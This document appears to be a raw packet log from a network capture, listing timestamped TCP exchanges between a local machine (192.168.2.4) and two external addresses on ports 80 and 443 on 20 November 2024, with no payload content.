Nov 20, 2024 07:48:21.363951921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363955975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363970995 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.363981009 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.363985062 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364008904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364010096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364025116 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364033937 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364038944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364053965 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364061117 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364068985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364077091 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364088058 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364093065 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364101887 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364114046 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364114046 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364118099 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364131927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364144087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364144087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364147902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364162922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364172935 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364177942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364186049 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364193916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364201069 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364209890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364223957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364236116 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364243031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364258051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.364269018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364269018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.364375114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450166941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450227976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450253963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450269938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450284958 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450297117 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450299978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450314045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450336933 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450340033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450355053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450364113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450370073 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450377941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450386047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450397015 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450401068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450417042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450424910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450459003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450473070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450483084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450488091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450503111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450510025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450519085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450525999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450544119 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450572968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450572968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450577021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450604916 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450630903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450665951 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450694084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450699091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450733900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450758934 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450784922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450819016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450845957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450874090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450910091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450937033 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.450944901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.450997114 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451025963 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.451025963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451073885 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451101065 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.451107025 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451141119 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451162100 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.451174974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451201916 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.451208115 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451236010 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.451241970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451275110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451301098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.451308012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451359987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451386929 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.451394081 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451428890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451456070 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.451462030 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451495886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451522112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.451529980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451560974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.451586962 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.453217030 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.455035925 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.455116987 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.455137968 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.455177069 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.455193043 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:21.455214977 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.455226898 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.455246925 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:21.455327988 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:21.455859900 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.455975056 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:21.455981970 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.456036091 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.456706047 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:21.534282923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.541891098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.759963036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760025024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760055065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760056019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760086060 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760102034 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760118961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760171890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760174990 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760205030 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760232925 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760257006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760289907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760318995 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760324001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760349989 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760358095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760386944 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760415077 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760443926 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760464907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760499001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760524035 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760551929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760586023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760615110 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760620117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760647058 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760656118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760684013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760689020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760715961 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760746002 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760797977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760824919 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760829926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760864973 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760893106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760916948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760943890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.760950089 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.760989904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761018038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761019945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761044979 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761050940 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761077881 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761085033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761113882 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761116982 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761164904 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761173964 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761224031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761274099 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761301041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761306047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761357069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761384964 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761389971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761418104 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761445999 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761475086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761475086 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761524916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761550903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761575937 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761589050 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761605978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761687994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761712074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761765957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761791945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761795044 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761821985 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761826992 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761853933 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761882067 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761909008 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761914968 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761948109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.761974096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.761976957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762010098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762038946 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762063980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762094975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762125015 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762145996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762178898 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762203932 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762212038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762245893 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762269974 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762278080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762310982 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762336016 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762361050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762396097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762423038 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762447119 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762475014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762480021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762531996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762561083 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762567043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762602091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762626886 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762633085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762659073 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762665987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762698889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762727022 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762732983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762749910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762769938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762795925 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762803078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762829065 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762835979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762849092 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762870073 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762895107 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762901068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762934923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.762960911 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.762967110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763000011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763025999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763031960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763067007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763101101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763103962 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763135910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763156891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763156891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763168097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763194084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763200998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763233900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763267040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763288975 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763288975 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763303041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763349056 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763355970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763386011 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763389111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763425112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763449907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763456106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763489962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763519049 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763521910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763555050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763578892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763612986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763664961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763695002 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763695955 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763730049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763753891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763761044 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763797998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763808966 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763838053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763861895 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763870955 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763904095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763931036 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.763937950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763971090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.763995886 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764004946 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764038086 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764064074 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764070034 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764103889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764113903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764137983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764168024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764168978 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764197111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764202118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764229059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764235020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764267921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764296055 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764301062 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764336109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764357090 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764368057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764394999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764405012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764436960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764458895 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764472961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764499903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764506102 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764533997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764539957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764564037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764570951 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764606953 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764631987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764638901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764664888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764673948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764700890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764707088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764740944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.764770031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.764976978 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.848573923 CET	80	49753	62.204.41.163	192.168.2.4
